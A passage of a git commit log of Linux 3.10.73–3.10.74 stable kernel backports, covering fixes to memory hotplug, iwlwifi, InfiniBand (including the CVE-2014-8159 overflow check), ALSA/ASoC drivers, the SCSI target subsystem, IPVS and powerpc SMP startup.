cond_resched() offline cpu and memory, then try_offline_node() node_set_offline(nid), and memset(pgdat, 0, sizeof(*pgdat)) zone = next_zone(zone) pg_data_t *pgdat = zone->zone_pgdat; // here pgdat is NULL now next_online_pgdat(pgdat) next_online_node(pgdat->node_id); // NULL pointer access So the solution here is postponing the reset of obsolete pgdat from try_offline_node() to hotadd_new_pgdat(), and just resetting pgdat->nr_zones and pgdat->classzone_idx to be 0 rather than the memset 0 to avoid breaking pointer information in pgdat. Signed-off-by: Gu Zheng Reported-by: Xishi Qiu Suggested-by: KAMEZAWA Hiroyuki Cc: David Rientjes Cc: Yasuaki Ishimatsu Cc: Taku Izumi Cc: Tang Chen Cc: Xie XiuQi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bd31217222f5874af766a329d0b84a6fc3257369 Author: Sudip Mukherjee Date: Tue Jan 27 18:08:22 2015 +0530 nbd: fix possible memory leak commit ff6b8090e26ef7649ef0cc6b42389141ef48b0cf upstream. we have already allocated memory for nbd_dev, but we were not releasing that memory and just returning the error value. Signed-off-by: Sudip Mukherjee Acked-by: Paul Clements Signed-off-by: Markus Pargmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a99e606e360eb64e29fba58a29c44b58013f2ba9 Author: Emmanuel Grumbach Date: Mon Mar 16 09:08:07 2015 +0200 iwlwifi: dvm: run INIT firmware again upon .start() commit 9c8928f5176766bec79f272bd47b7124e11cccbd upstream. The assumption before this patch was that we don't need to run again the INIT firmware after the system booted. The INIT firmware runs calibrations which impact the physical layer's behavior. Users reported that it may be helpful to run these calibrations again every time the interface is brought up. The penatly is minimal, since the calibrations run fast. This fixes: https://bugzilla.kernel.org/show_bug.cgi?id=94341 Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 05dc44591eee416eb26c430f3518bc5b1eed3c93 Author: Shachar Raindel Date: Wed Mar 18 17:39:08 2015 +0000 IB/uverbs: Prevent integer overflow in ib_umem_get address arithmetic commit 8494057ab5e40df590ef6ef7d66324d3ae33356b upstream. Properly verify that the resulting page aligned end address is larger than both the start address and the length of the memory area requested. Both the start and length arguments for ib_umem_get are controlled by the user. A misbehaving user can provide values which will cause an integer overflow when calculating the page aligned end address. This overflow can cause also miscalculation of the number of pages mapped, and additional logic issues. Addresses: CVE-2014-8159 Signed-off-by: Shachar Raindel Signed-off-by: Jack Morgenstein Signed-off-by: Or Gerlitz Signed-off-by: Roland Dreier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0ffb7b77e4dda2c2a5e652b7f5cde45860c61668 Author: Eli Cohen Date: Sun Sep 14 16:47:52 2014 +0300 IB/core: Avoid leakage from kernel to user space commit 377b513485fd885dea1083a9a5430df65b35e048 upstream. Clear the reserved field of struct ib_uverbs_async_event_desc which is copied to user space. Signed-off-by: Eli Cohen Reviewed-by: Yann Droneaud Signed-off-by: Roland Dreier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 03e19da773181418521a306719f4aa400441c73f Author: Ben Hutchings Date: Wed Apr 15 19:00:32 2015 +0100 tcp: Fix crash in TCP Fast Open Commit 355a901e6cf1 ("tcp: make connect() mem charging friendly") changed tcp_send_syn_data() to perform an open-coded copy of the 'syn' skb rather than using skb_copy_expand(). The open-coded copy does not cover the skb_shared_info::gso_segs field, so in the new skb it is left set to 0. When this commit was backported into stable branches between 3.10.y and 3.16.7-ckty inclusive, it triggered the BUG() in tcp_transmit_skb(). Since Linux 3.18 the GSO segment count is kept in the tcp_skb_cb::tcp_gso_segs field and tcp_send_syn_data() does copy the tcp_skb_cb structure to the new skb, so mainline and newer stable branches are not affected. Set skb_shared_info::gso_segs to the correct value of 1. Signed-off-by: Ben Hutchings Acked-by: Eric Dumazet Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 24981ac2d86d5f82d0100ddecd06afea45fd74d9 Author: Takashi Iwai Date: Wed Apr 8 20:47:55 2015 +0200 ALSA: hda - Fix headphone pin config for Lifebook T731 commit cc7016ab1a22fb26f388c2fb2b692b89897cbc3e upstream. Some BIOS version of Fujitsu Lifebook T731 seems to set up the headphone pin (0x21) without the assoc number 0x0f while it's set only to the output on the docking port (0x1a). With the recent commit [03ad6a8c93b6: ALSA: hda - Fix "PCM" name being used on one DAC when there are two DACs], this resulted in the weird mixer element mapping where the headphone on the laptop is assigned as a shared volume with the speaker and the docking port is assigned as an individual headphone. This patch improves the situation by correcting the headphone pin config to the more appropriate value. Reported-and-tested-by: Taylor Smock Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56b483a4ef2253903308000a0e979080495c06a1 Author: Dmitry M. Fedin Date: Thu Apr 9 17:37:03 2015 +0300 ALSA: usb - Creative USB X-Fi Pro SB1095 volume knob support commit 3dc8523fa7412e731441c01fb33f003eb3cfece1 upstream. Adds an entry for Creative USB X-Fi to the rc_config array in mixer_quirks.c to allow use of volume knob on the device. Adds support for newer X-Fi Pro card, known as "Model No. SB1095" with USB ID "041e:3237" Signed-off-by: Dmitry M. Fedin Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f67ed2e98733349285cb688de756b563f453d23e Author: Hui Wang Date: Thu Mar 26 17:14:55 2015 +0800 ALSA: hda - Add one more node in the EAPD supporting candidate list commit af95b41426e0b58279f8ff0ebe420df49a4e96b8 upstream. We have a HP machine which use the codec node 0x17 connecting the internal speaker, and from the node capability, we saw the EAPD, if we don't set the EAPD on for this node, the internal speaker can't output any sound. BugLink: https://bugs.launchpad.net/bugs/1436745 Signed-off-by: Hui Wang Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8842be2b8174d6e29f9f458ccf8d42266c1cba62 Author: Greg Kroah-Hartman Date: Mon Apr 13 14:02:33 2015 +0200 Linux 3.10.74 Signed-off-by: Pranav Vashi commit 89727a6a406dc83c1c14e6ac3d4fd697895a54ee Author: Markos Chandras Date: Thu Mar 19 10:28:14 2015 +0000 net: ethernet: pcnet32: Setup the SRAM and NOUFLO on Am79C97{3, 5} commit 87f966d97b89774162df04d2106c6350c8fe4cb3 upstream. On a MIPS Malta board, tons of fifo underflow errors have been observed when using u-boot as bootloader instead of YAMON. The reason for that is that YAMON used to set the pcnet device to SRAM mode but u-boot does not. As a result, the default Tx threshold (64 bytes) is now too small to keep the fifo relatively used and it can result to Tx fifo underflow errors. As a result of which, it's best to setup the SRAM on supported controllers so we can always use the NOUFLO bit. Cc: Cc: Cc: Don Fry Signed-off-by: Markos Chandras Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b4363d910482c387a0bf0a5def766533223015fc Author: Scott Wood Date: Wed Dec 17 19:06:31 2014 -0600 powerpc/mpc85xx: Add ranges to etsec2 nodes commit bb344ca5b90df62b1a3b7a35c6a9d00b306a170d upstream. Commit 746c9e9f92dd "of/base: Fix PowerPC address parsing hack" limited the applicability of the workaround whereby a missing ranges is treated as an empty ranges. This workaround was hiding a bug in the etsec2 device tree nodes, which have children with reg, but did not have ranges. Signed-off-by: Scott Wood Reported-by: Alexander Graf Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit acd725bcdc6d57fbbbf84eec5c4fd57ef7897854 Author: Sergei Antonov Date: Wed Mar 25 15:55:34 2015 -0700 hfsplus: fix B-tree corruption after insertion at position 0 commit 98cf21c61a7f5419d82f847c4d77bf6e96a76f5f upstream. Fix B-tree corruption when a new record is inserted at position 0 in the node in hfs_brec_insert(). In this case a hfs_brec_update_parent() is called to update the parent index node (if exists) and it is passed hfs_find_data with a search_key containing a newly inserted key instead of the key to be updated. This results in an inconsistent index node. The bug reproduces on my machine after an extents overflow record for the catalog file (CNID=4) is inserted into the extents overflow B-tree. Because of a low (reserved) value of CNID=4, it has to become the first record in the first leaf node. The resulting first leaf node is correct: ---------------------------------------------------- | key0.CNID=4 | key1.CNID=123 | key2.CNID=456, ... | ---------------------------------------------------- But the parent index key0 still contains the previous key CNID=123: ----------------------- | key0.CNID=123 | ... | ----------------------- A change in hfs_brec_insert() makes hfs_brec_update_parent() work correctly by preventing it from getting fd->record=-1 value from __hfs_brec_find(). Along the way, I removed duplicate code with unification of the if condition. The resulting code is equivalent to the original code because node is never 0. Also hfs_brec_update_parent() will now return an error after getting a negative fd->record value. However, the return value of hfs_brec_update_parent() is not checked anywhere in the file and I'm leaving it unchanged by this patch. brec.c lacks error checking after some other calls too, but this issue is of less importance than the one being fixed by this patch. Signed-off-by: Sergei Antonov Cc: Joe Perches Reviewed-by: Vyacheslav Dubeyko Acked-by: Hin-Tak Leung Cc: Anton Altaparmakov Cc: Al Viro Cc: Christoph Hellwig Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d46d5a202d01e82a93be2225414d89a9e1313392 Author: Mikulas Patocka Date: Fri Feb 27 14:04:27 2015 -0500 dm: hold suspend_lock while suspending device during device deletion commit ab7c7bb6f4ab95dbca96fcfc4463cd69843e3e24 upstream. __dm_destroy() must take the suspend_lock so that its presuspend and postsuspend calls do not race with an internal suspend. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1b38a3e3dfa0f60ac107c0cdff725c46f10bd0be Author: Malcolm Priestley Date: Sat Mar 7 17:04:54 2015 +0000 vt6655: RFbSetPower fix missing rate RATE_12M commit 40c8790bcb7ac74f3038153cd09310e220c6a1df upstream. When the driver sets this rate a power of zero value is set causing data flow stoppage until another rate is tried. Signed-off-by: Malcolm Priestley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ade6eb888c6e68c17a30852884ce9fdf53a2e11e Author: Peter Zijlstra Date: Thu Feb 19 18:03:11 2015 +0100 perf: Fix irq_work 'tail' recursion commit d525211f9d1be8b523ec7633f080f2116f5ea536 upstream. Vince reported a watchdog lockup like: [] perf_tp_event+0xc4/0x210 [] perf_trace_lock+0x12a/0x160 [] lock_release+0x130/0x260 [] _raw_spin_unlock_irqrestore+0x24/0x40 [] do_send_sig_info+0x5d/0x80 [] send_sigio_to_task+0x12f/0x1a0 [] send_sigio+0xae/0x100 [] kill_fasync+0x97/0xf0 [] perf_event_wakeup+0xd4/0xf0 [] perf_pending_event+0x33/0x60 [] irq_work_run_list+0x4c/0x80 [] irq_work_run+0x18/0x40 [] smp_trace_irq_work_interrupt+0x3f/0xc0 [] trace_irq_work_interrupt+0x6d/0x80 Which is caused by an irq_work generating new irq_work and therefore not allowing forward progress. This happens because processing the perf irq_work triggers another perf event (tracepoint stuff) which in turn generates an irq_work ad infinitum. Avoid this by raising the recursion counter in the irq_work -- which effectively disables all software events (including tracepoints) from actually triggering again. Reported-by: Vince Weaver Tested-by: Vince Weaver Signed-off-by: Peter Zijlstra (Intel) Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Paul Mackerras Cc: Steven Rostedt Link: http://lkml.kernel.org/r/20150219170311.GH21418@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df33e900c9df1355b4a2a7e9813fd842fe1716df Author: Greg Kroah-Hartman Date: Mon Apr 6 12:18:59 2015 +0200 Revert "iwlwifi: mvm: fix failure path when power_update fails in add_interface" This reverts commit fce2d025479af5e1fa6717480c7853cdfb8b71aa It was incorrectly applied, as it merged with fuzz. Reported-by: Jiri Slaby Signed-off-by: Greg Kroah-Hartman gregkh@linuxfoundation.org Signed-off-by: Pranav Vashi commit e2b50fea1c734b2f8b139ff28013df828570b9b1 Author: Bob Copeland Date: Mon Mar 2 14:28:52 2015 -0500 mac80211: drop unencrypted frames in mesh fwding commit d0c22119f574b851e63360c6b8660fe9593bbc3c upstream. The mesh forwarding path was not checking that data frames were protected when running an encrypted network; add the necessary check. Reported-by: Johannes Berg Signed-off-by: Bob Copeland Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef402f460ac1803424ed6b1cb634e3a3b73d3fbc Author: Michal Kazior Date: Tue Feb 10 12:48:44 2015 +0100 mac80211: disable u-APSD queues by default commit aa75ebc275b2a91b193654a177daf900ad6703f0 upstream. Some APs experience problems when working with U-APSD. Decreasing the probability of that happening by using legacy mode for all ACs but VO isn't enough. Cisco 4410N originally forced us to enable VO by default only because it treated non-VO ACs as legacy. However some APs (notably Netgear R7000) silently reclassify packets to different ACs. Since u-APSD ACs require trigger frames for frame retrieval clients would never see some frames (e.g. ARP responses) or would fetch them accidentally after a long time. It makes little sense to enable u-APSD queues by default because it needs userspace applications to be aware of it to actually take advantage of the possible additional powersavings. Implicitly depending on driver autotrigger frame support doesn't make much sense. Signed-off-by: Michal Kazior Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 20b8b7cb321ba616a78a912bd3f1a72bb8d7dd0e Author: Johannes Berg Date: Thu Mar 12 08:53:27 2015 +0200 nl80211: ignore HT/VHT capabilities without QoS/WMM commit 496fcc294daab18799e190c0264863d653588d1f upstream. As HT/VHT depend heavily on QoS/WMM, it's not a good idea to let userspace add clients that have HT/VHT but not QoS/WMM. Since it does so in certain cases we've observed (client is using HT IEs but not QoS/WMM) just ignore the HT/VHT info at this point and don't pass it down to the drivers which might unconditionally use it. Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1edacf9e7952e265c3d6e89b220108d1e356317 Author: Bart Van Assche Date: Thu Mar 19 22:25:16 2015 -0700 tcm_qla2xxx: Fix incorrect use of __transport_register_session commit 75c3d0bf9caebb502e96683b2bc37f9692437e68 upstream. This patch fixes the incorrect use of __transport_register_session() in tcm_qla2xxx_check_initiator_node_acl() code, that does not perform explicit se_tpg->session_lock when accessing se_tpg->tpg_sess_list to add new se_sess nodes. Given that tcm_qla2xxx_check_initiator_node_acl() is not called with qla_hw->hardware_lock held for all accesses of ->tpg_sess_list, the code should be using transport_register_session() instead. Signed-off-by: Bart Van Assche Cc: Giridhar Malavali Cc: Quinn Tran Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 294287d7c090485c38d04e97440d793effbafab0 Author: Dan Carpenter Date: Wed Feb 25 16:21:03 2015 +0300 tcm_fc: missing curly braces in ft_invl_hw_context() commit d556546e7ecd9fca199df4698943024d40044f8e upstream. This patch adds a missing set of conditional check braces in ft_invl_hw_context() originally introduced by commit dcd998ccd when handling DDP failures in ft_recv_write_data() code. commit dcd998ccdbf74a7d8fe0f0a44e85da1ed5975946 Author: Kiran Patil Date: Wed Aug 3 09:20:01 2011 +0000 tcm_fc: Handle DDP/SW fc_frame_payload_get failures in ft_recv_write_data Signed-off-by: Dan Carpenter Cc: Kiran Patil Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dc8e73c8cab30a4a1e7df1a31dd2acc06fd24861 Author: Takashi Iwai Date: Tue Mar 10 12:39:13 2015 +0100 ASoC: wm8955: Fix wrong value references for boolean kctl commit 07892b10356f17717abdc578acbef72db86c880e upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e19f42f343ed8777081f644797c5f9338ff3917e Author: Takashi Iwai Date: Tue Mar 10 12:39:03 2015 +0100 ASoC: adav80x: Fix wrong value references for boolean kctl commit 2bf4c1d483d911cda5dd385527194d23e5cea73d upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Lars-Peter Clausen Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 07e490f0f4c53e58eb388731edaba6d7db0f6a14 Author: Takashi Iwai Date: Tue Mar 10 12:39:04 2015 +0100 ASoC: ak4641: Fix wrong value references for boolean kctl commit 08641d9b7bf915144a57a736b42642e13eb1167f upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0c8bd9281e66c151caf9e1546edeb08707199860 Author: Takashi Iwai Date: Tue Mar 10 12:39:12 2015 +0100 ASoC: wm8904: Fix wrong value references for boolean kctl commit eaddf6fd959074f6a6e71deffe079c71eef35da6 upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a6ffb427b6b7f321d4143809d9cc21993524051e Author: Takashi Iwai Date: Tue Mar 10 12:39:11 2015 +0100 ASoC: wm8903: Fix wrong value references for boolean kctl commit 24cc883c1fd16df34211ae41624aa6d3cd906693 upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 128c4000b076e3e19a84782cd5af64af9521966d Author: Takashi Iwai Date: Tue Mar 10 12:39:09 2015 +0100 ASoC: wm2000: Fix wrong value references for boolean kctl commit 00a14c2968e3d55817e0fa35c78106ca840537bf upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d29a4f7fc489a7660f119cf9f5de6addf380e482 Author: Takashi Iwai Date: Tue Mar 10 12:39:10 2015 +0100 ASoC: wm8731: Fix wrong value references for boolean kctl commit bd14016fbf31aa199026f1e2358eab695f374eb1 upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8fd34c25b53b56b74e318a97099b323d6ab8fca0 Author: Takashi Iwai Date: Tue Mar 10 12:39:08 2015 +0100 ASoC: tas5086: Fix wrong value references for boolean kctl commit 4c523ef61160b7d478371ddc9f48c8ce0a00d675 upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4d67036636418ca116055629cc8ef0272eac8e0d Author: Takashi Iwai Date: Tue Mar 10 12:39:14 2015 +0100 ASoC: wm8960: Fix wrong value references for boolean kctl commit b4a18c8b1af15ebfa9054a3d2aef7b0a7e6f2a05 upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 596a8f0818234a1524aafcbfc4873a40bb0d80e6 Author: Takashi Iwai Date: Tue Mar 10 12:39:05 2015 +0100 ASoC: cs4271: Fix wrong value references for boolean kctl commit e8371aa0fecb73fb8a4b2e0296b025b11e7d6229 upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Paul Handrigan Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b4d566d5ff83c71b0a7eed56897225df1bee5ee5 Author: Eric Nelson Date: Fri Feb 27 08:06:45 2015 -0700 ASoC: sgtl5000: remove useless register write clearing CHRGPUMP_POWERUP commit c7d910b87d3c8e9fcf4077089ca4327c12eee099 upstream. The SGTL5000_CHIP_ANA_POWER register is cached. Update the cached value instead of writing it directly. Patch inspired by Russell King's more colorful remarks in this patch: https://github.com/SolidRun/linux-imx6-3.14/commit/dd4bf6a Signed-off-by: Eric Nelson Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9465c4554010044f5c8011e05515cadfaf3dcc57 Author: Greg Kroah-Hartman Date: Thu Mar 26 15:01:29 2015 +0100 Linux 3.10.73 Signed-off-by: Pranav Vashi commit f15e682885e972fe837e5f6eeca0ad3a0aec94ee Author: Lee Duncan Date: Mon Jan 5 10:49:44 2015 -0800 target: Allow Write Exclusive non-reservation holders to READ commit 1ecc7586922662e3ca2f3f0c3f17fec8749fc621 upstream. For PGR reservation of type Write Exclusive Access, allow all non reservation holding I_T nexuses with active registrations to READ from the device. This addresses a bug where active registrations that attempted to READ would result in an reservation conflict. Signed-off-by: Lee Duncan Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5058aa4da50226150381e5686928defd65373cd3 Author: Nicholas Bellinger Date: Fri Dec 19 00:49:23 2014 +0000 target: Allow AllRegistrants to re-RESERVE existing reservation commit ae450e246e8540300699480a3780a420a028b73f upstream. This patch changes core_scsi3_pro_release() logic to allow an existing AllRegistrants type reservation to be re-reserved by any registered I_T nexus. This addresses a issue where AllRegistrants type RESERVE was receiving RESERVATION_CONFLICT status if dev_pr_res_holder did not match the same I_T nexus, instead of just returning GOOD status following spc4r34 Section 5.9.9: "If the device server receives a PERSISTENT RESERVE OUT command with RESERVE service action where the TYPE field and the SCOPE field contain the same values as the existing type and scope from a persistent reservation holder, it shall not make any change to the existing persistent reservation and shall complete the command with GOOD status." Reported-by: Ilias Tsitsimpis Cc: Ilias Tsitsimpis Cc: Lee Duncan Cc: James Bottomley Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 81ba9d92e22877379626ba40cd58b17713e36a84 Author: Nicholas Bellinger Date: Sun Dec 14 01:47:19 2014 -0800 target: Fix R_HOLDER bit usage for AllRegistrants commit d16ca7c5198fd668db10d2c7b048ed3359c12c54 upstream. This patch fixes the usage of R_HOLDER bit for an All Registrants reservation in READ_FULL_STATUS, where only the registration who issued RESERVE was being reported as having an active reservation. It changes core_scsi3_pri_read_full_status() to check ahead of the list walk of active registrations to see if All Registrants is active, and if so set R_HOLDER bit and scope/type fields for all active registrations. Reported-by: Ilias Tsitsimpis Cc: James Bottomley Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4c9b1d761113f9d1de3f4b0c5b277db5e1d0d034 Author: Nicholas Bellinger Date: Fri Feb 27 03:54:13 2015 -0800 target/pscsi: Fix NULL pointer dereference in get_device_type commit 215a8fe4198f607f34ecdbc9969dae783d8b5a61 upstream. This patch fixes a NULL pointer dereference OOPs with pSCSI backends within target_core_stat.c code. The bug is caused by a configfs attr read if no pscsi_dev_virt->pdv_sd has been configured. Reported-by: Olaf Hering Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 28e879cc4c2d591ddd18c0a01b98a4900b1f1eab Author: Nicholas Bellinger Date: Mon Feb 23 00:57:51 2015 -0800 iscsi-target: Avoid early conn_logout_comp for iser connections commit f068fbc82e7696d67b1bb8189306865bedf368b6 upstream. This patch fixes a iser specific logout bug where early complete() of conn->conn_logout_comp in iscsit_close_connection() was causing isert_wait4logout() to complete too soon, triggering a use after free NULL pointer dereference of iscsi_conn memory. The complete() was originally added for traditional iscsi-target when a ISCSI_LOGOUT_OP failed in iscsi_target_rx_opcode(), but given iser-target does not wait in logout failure, this special case needs to be avoided. Reported-by: Sagi Grimberg Cc: Sagi Grimberg Cc: Slava Shwartsman Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4d084103fa5a43b92efcfd053b65a9b50fea62c1 Author: Bart Van Assche Date: Wed Feb 18 15:33:58 2015 +0100 target: Fix reference leak in target_get_sess_cmd() error path commit 7544e597343e2166daba3f32e4708533aa53c233 upstream. This patch fixes a se_cmd->cmd_kref leak buf when se_sess->sess_tearing_down is true within target_get_sess_cmd() submission path code. This se_cmd reference leak can occur during active session shutdown when ack_kref=1 is passed by target_submit_cmd_[map_sgls,tmr]() callers. Signed-off-by: Bart Van Assche Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 23e48e0e75d40b9be1c45d0179adbc84e5169d31 Author: Alexandre Belloni Date: Tue Mar 3 19:58:22 2015 +0100 ARM: at91: pm: fix at91rm9200 standby commit 84e871660bebfddb9a62ebd6f19d02536e782f0a upstream. at91rm9200 standby and suspend to ram has been broken since 00482a4078f4. It is wrongly using AT91_BASE_SYS which is a physical address and actually doesn't correspond to any register on at91rm9200. Use the correct at91_ramc_base[0] instead. Fixes: 00482a4078f4 (ARM: at91: implement the standby function for pm/cpuidle) Signed-off-by: Alexandre Belloni Signed-off-by: Nicolas Ferre Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 987dbe8b5b0ed56f63e6a34a4766472937e65603 Author: Julian Anastasov Date: Thu Dec 18 22:41:23 2014 +0200 ipvs: rerouting to local clients is not needed anymore commit 579eb62ac35845686a7c4286c0a820b4eb1f96aa upstream. commit f5a41847acc5 ("ipvs: move ip_route_me_harder for ICMP") from 2.6.37 introduced ip_route_me_harder() call for responses to local clients, so that we can provide valid rt_src after SNAT. It was used by TCP to provide valid daddr for ip_send_reply(). After commit 0a5ebb8000c5 ("ipv4: Pass explicit daddr arg to ip_send_reply()." from 3.0 this rerouting is not needed anymore and should be avoided, especially in LOCAL_IN. Fixes 3.12.33 crash in xfrm reported by Florian Wiessner: "3.12.33 - BUG xfrm_selector_match+0x25/0x2f6" Reported-by: Smart Weblications GmbH - Florian Wiessner Tested-by: Smart Weblications GmbH - Florian Wiessner Signed-off-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0aa4c6197927e330cee52f2fe11088134f2a5c09 Author: Julian Anastasov Date: Sat Feb 21 21:03:10 2015 +0200 ipvs: add missing ip_vs_pe_put in sync code commit 528c943f3bb919aef75ab2fff4f00176f09a4019 upstream. ip_vs_conn_fill_param_sync() gets in param.pe a module reference for persistence engine from __ip_vs_pe_getbyname() but forgets to put it. Problem occurs in backup for sync protocol v1 (2.6.39). Also, pe_data usually comes in sync messages for connection templates and ip_vs_conn_new() copies the pointer only in this case. Make sure pe_data is not leaked if it comes unexpectedly for normal connections. Leak can happen only if bogus messages are sent to backup server. Fixes: fe5e7a1efb66 ("IPVS: Backup, Adding Version 1 receive capability") Signed-off-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c9cbde133eaa6d541b56eb53a02c50278810558 Author: Michael Ellerman Date: Tue Feb 24 17:58:02 2015 +1100 powerpc/smp: Wait until secondaries are active & online commit 875ebe940d77a41682c367ad799b4f39f128d3fa upstream. Anton has a busy ppc64le KVM box where guests sometimes hit the infamous "kernel BUG at kernel/smpboot.c:134!" issue during boot: BUG_ON(td->cpu != smp_processor_id()); Basically a per CPU hotplug thread scheduled on the wrong CPU. The oops output confirms it: CPU: 0 Comm: watchdog/130 The problem is that we aren't ensuring the CPU active bit is set for the secondary before allowing the master to continue on. The master unparks the secondary CPU's kthreads and the scheduler looks for a CPU to run on. It calls select_task_rq() and realises the suggested CPU is not in the cpus_allowed mask. It then ends up in select_fallback_rq(), and since the active bit isnt't set we choose some other CPU to run on. This seems to have been introduced by 6acbfb96976f "sched: Fix hotplug vs. set_cpus_allowed_ptr()", which changed from setting active before online to setting active after online. However that was in turn fixing a bug where other code assumed an active CPU was also online, so we can't just revert that fix. The simplest fix is just to spin waiting for both active & online to be set. We already have a barrier prior to set_cpu_online() (which also sets active), to ensure all other setup is completed before online & active are set. Fixes: 6acbfb96976f ("sched: Fix hotplug vs. set_cpus_allowed_ptr()") Signed-off-by: Michael Ellerman Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef1d04be0109c13b8b880198f3d13f97e7c395bb Author: Jiri Slaby Date: Thu Mar 5 09:13:31 2015 +0100 x86/vdso: Fix the build on GCC5 commit e893286918d2cde3a94850d8f7101cd1039e0c62 upstream. On gcc5 the kernel does not link: ld: .eh_frame_hdr table[4] FDE at 0000000000000648 overlaps table[5] FDE at 0000000000000670. Because prior GCC versions always emitted NOPs on ALIGN directives, but gcc5 started omitting them. .LSTARTFDEDLSI1 says: /* HACK: The dwarf2 unwind routines will subtract 1 from the return address to get an address in the middle of the presumed call instruction. Since we didn't get here via a call, we need to include the nop before the real start to make up for it. */ .long .LSTART_sigreturn-1-. /* PC-relative start address */ But commit 69d0627a7f6e 